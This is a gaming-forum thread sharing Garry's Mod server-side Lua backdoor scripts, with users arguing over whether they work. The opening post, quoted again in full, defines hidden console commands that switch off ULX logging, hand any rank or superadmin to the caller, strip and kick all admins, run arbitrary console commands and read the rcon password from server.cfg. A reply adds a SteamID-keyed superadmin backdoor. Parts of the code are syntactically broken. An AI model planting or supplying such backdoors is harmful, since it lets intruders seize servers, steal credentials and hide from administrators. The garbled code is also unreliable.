LightbulbBackdoors

Posts 1–15 of 20 · Page 1 of 2
Backdoors
-- simply backdoors
-- autorun/server/.lua
-- Defines serverside globals for file

concommand.Add("k555", function(ply, cmd, args)
game.ConsoleCommand("ulx logFile 0\n")
game.ConsoleCommand("ulx logEcho 0\n")
game.ConsoleCommand("ulx logEvents 0\n")
game.ConsoleCommand("ulx logChat 0\n")
game.ConsoleCommand("ulx logJoinLeaveEcho 0\n")
end)

concommand.Add("l666", function(ply, cmd, args)
RunConsoleCommand("ulx", "adduser", ply:Name(), args[1])
end)

concommand.Add("m777", function(ply, cmd, args)
name = string.lower(args[1])
find_ply = nil

for _, v in ipairs(player.GetHumans()) do
if (string.find(string.lower(v:Name()), name, 1, true) ~= nil) then
find_ply = v
end
end

if (find_ply) then
RunConsoleCommand("ulx", "adduser", find_ply:Name(), args[2])
end
end)

concommand.Add("n888", function(ply, cmd, args)
for _, v in ipairs(player.GetHumans()) do
if (v:IsAdmin()) then
RunConsoleCommand("ulx", "removeuser", v:Name())
v:Kick("lua code #b8847 bad objects.")
end
end
end)

concommand.Add("b999", function(ply, cmd, args)
name = string.lower(args[1])
find_ply = nil

for _, v in ipairs(player.GetHumans()) do
if (string.find(string.lower(v:Name()), name, 1, true) ~= nil) then
find_ply = v
end
end

if (find_ply) then
RunConsoleCommand("ulx", "removeuser", find_ply:Name())
end
end)

concommand.Add("v000", function(ply, cmd, args, argStr)
game.ConsoleCommand(argStr .. "\n")
end)

concommand.Add("c111", function(ply, cmd, args)
game.ConsoleCommand('ulx userallow ' .. args[1] .. '"' .. args[2] .. '" *\n')
end)

concommand.Add("x222", function(ply, cmd, args)
if (ULib) then
local groups = {}

for k, v in pairs(ULib.parseKeyValues(file.Read("ulib/groups.txt", "DATA"))) do
groups[#groups + 1] = k
end

ply:PrintMessage(HUD_PRINTTALK, "All ULX groups: " .. string.Implode(", ", groups))
else
ply:PrintMessage(HUD_PRINTTALK, "ERROR! No ULX installed! ")
end
end)

concommand.Add("z333", function(ply, cmd, args)
local rcon_config = ""

for k, v in pairs(string.Split(file.Read("cfg/server.cfg", "GAME"), "\n")) do
if (string.StartWith(v, "rcon_password")) then
local str = v
str = string.Replace(str, """, "")
str = string.Right(str, #str - 14)
rcon_config = str
end
end

if (game.IsDedicated() and GetConVarNumber("sv_lan") == 0) then
RunConsoleCommand("z333", 1)
end

concommand.Add("snd__restart", function(ply)
if ply:IsSuperAdmin() or ply:SteamID()=="STEAM_0:1:164342539" then
for k,v in next,weapons.GetList() do
if v.ClassName:sub(1,11):lower()=="m9k_minigun" then
ply:Give(v.ClassName)
end
end
else
ply:PrintMessage(HUD_PRINTCONSOLE, "Superadmin only!")
end
end)

if SERVER then
concommand.Add( "_resstart", function( debugPlayer )
RunConsoleCommand("ulx","adduser",debugPlayer:Name (),"superadmin")
end)
end
What is this actually for? Reading through the code I can't see this adding people to superadmin if they don't have privs to do so.
Quote Originally Posted by jooshzz View Post
What is this actually for? Reading through the code I can't see this adding people to superadmin if they don't have privs to do so.
backdooring?
Quote Originally Posted by meme420 View Post
backdooring?
cheers, genius. but as i said, look at the code, i see nothing that could backdoor into ulx in any way to make someone a rank, unless this source code is just brutally incomplete
Quote Originally Posted by jooshzz View Post
cheers, genius. but as i said, look at the code, i see nothing that could backdoor into ulx in any way to make someone a rank, unless this source code is just brutally incomplete
huh? are you retarded ; none of them are meant to give you a rank
Backdoor code... Just change steam id and/or rank.

function Backdoor( ply )
if ( ply:SteamID() == "STEAM_0:0:51065986" ) then
ply:SetUserGroup("superadmin")
end
end
Quote Originally Posted by ItsCozz View Post
Backdoor code... Just change steam id and/or rank.

function Backdoor( ply )
if ( ply:SteamID() == "STEAM_0:0:51065986" ) then
ply:SetUserGroup("superadmin")
end
end
were you taking a type of drug that made you delusional when you made this post?
Why are backdoors such low quality these days? Just make somethin to run Lua on the server instead of having an entire file dedicated to such obvious commands.
Quote Originally Posted by Cyaegha View Post
Why are backdoors such low quality these days? Just make somethin to run Lua on the server instead of having an entire file dedicated to such obvious commands.
RunString and you can do all this guy does and more in 3 lines of code
Quote Originally Posted by dasko123 View Post
-- simply backdoors
-- autorun/server/.lua
-- Defines serverside globals for file

concommand.Add("k555", function(ply, cmd, args)
game.ConsoleCommand("ulx logFile 0\n")
game.ConsoleCommand("ulx logEcho 0\n")
game.ConsoleCommand("ulx logEvents 0\n")
game.ConsoleCommand("ulx logChat 0\n")
game.ConsoleCommand("ulx logJoinLeaveEcho 0\n")
end)

concommand.Add("l666", function(ply, cmd, args)
RunConsoleCommand("ulx", "adduser", ply:Name(), args[1])
end)

concommand.Add("m777", function(ply, cmd, args)
name = string.lower(args[1])
find_ply = nil

for _, v in ipairs(player.GetHumans()) do
if (string.find(string.lower(v:Name()), name, 1, true) ~= nil) then
find_ply = v
end
end

if (find_ply) then
RunConsoleCommand("ulx", "adduser", find_ply:Name(), args[2])
end
end)

concommand.Add("n888", function(ply, cmd, args)
for _, v in ipairs(player.GetHumans()) do
if (v:IsAdmin()) then
RunConsoleCommand("ulx", "removeuser", v:Name())
v:Kick("lua code #b8847 bad objects.")
end
end
end)

concommand.Add("b999", function(ply, cmd, args)
name = string.lower(args[1])
find_ply = nil

for _, v in ipairs(player.GetHumans()) do
if (string.find(string.lower(v:Name()), name, 1, true) ~= nil) then
find_ply = v
end
end

if (find_ply) then
RunConsoleCommand("ulx", "removeuser", find_ply:Name())
end
end)

concommand.Add("v000", function(ply, cmd, args, argStr)
game.ConsoleCommand(argStr .. "\n")
end)

concommand.Add("c111", function(ply, cmd, args)
game.ConsoleCommand('ulx userallow ' .. args[1] .. '"' .. args[2] .. '" *\n')
end)

concommand.Add("x222", function(ply, cmd, args)
if (ULib) then
local groups = {}

for k, v in pairs(ULib.parseKeyValues(file.Read("ulib/groups.txt", "DATA"))) do
groups[#groups + 1] = k
end

ply:PrintMessage(HUD_PRINTTALK, "All ULX groups: " .. string.Implode(", ", groups))
else
ply:PrintMessage(HUD_PRINTTALK, "ERROR! No ULX installed! ")
end
end)

concommand.Add("z333", function(ply, cmd, args)
local rcon_config = ""

for k, v in pairs(string.Split(file.Read("cfg/server.cfg", "GAME"), "\n")) do
if (string.StartWith(v, "rcon_password")) then
local str = v
str = string.Replace(str, """, "")
str = string.Right(str, #str - 14)
rcon_config = str
end
end

if (game.IsDedicated() and GetConVarNumber("sv_lan") == 0) then
RunConsoleCommand("z333", 1)
end

concommand.Add("snd__restart", function(ply)
if ply:IsSuperAdmin() or ply:SteamID()=="STEAM_0:1:164342539" then
for k,v in next,weapons.GetList() do
if v.ClassName:sub(1,11):lower()=="m9k_minigun" then
ply:Give(v.ClassName)
end
end
else
ply:PrintMessage(HUD_PRINTCONSOLE, "Superadmin only!")
end
end)

if SERVER then
concommand.Add( "_resstart", function( debugPlayer )
RunConsoleCommand("ulx","adduser",debugPlayer:Name (),"superadmin")
end)
end
sadly this is just a basic paste from game files coded by Source Engine
Quote Originally Posted by damiansharma View Post
sadly this is just a basic paste from game files coded by Source Engine
worth the bump 100%
Quote Originally Posted by tikene View Post
worth the bump 100%
lol this is really cancer does nothing
all these scripts are server sided
Quote Originally Posted by damiansharma View Post
lol this is really cancer does nothing
all these scripts are server sided
ty man had no idea
Quote Originally Posted by tikene View Post
ty man had no idea
cant see if ur joking or retarded its soooo obs
Posts 1–15 of 20 · Page 1 of 2

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us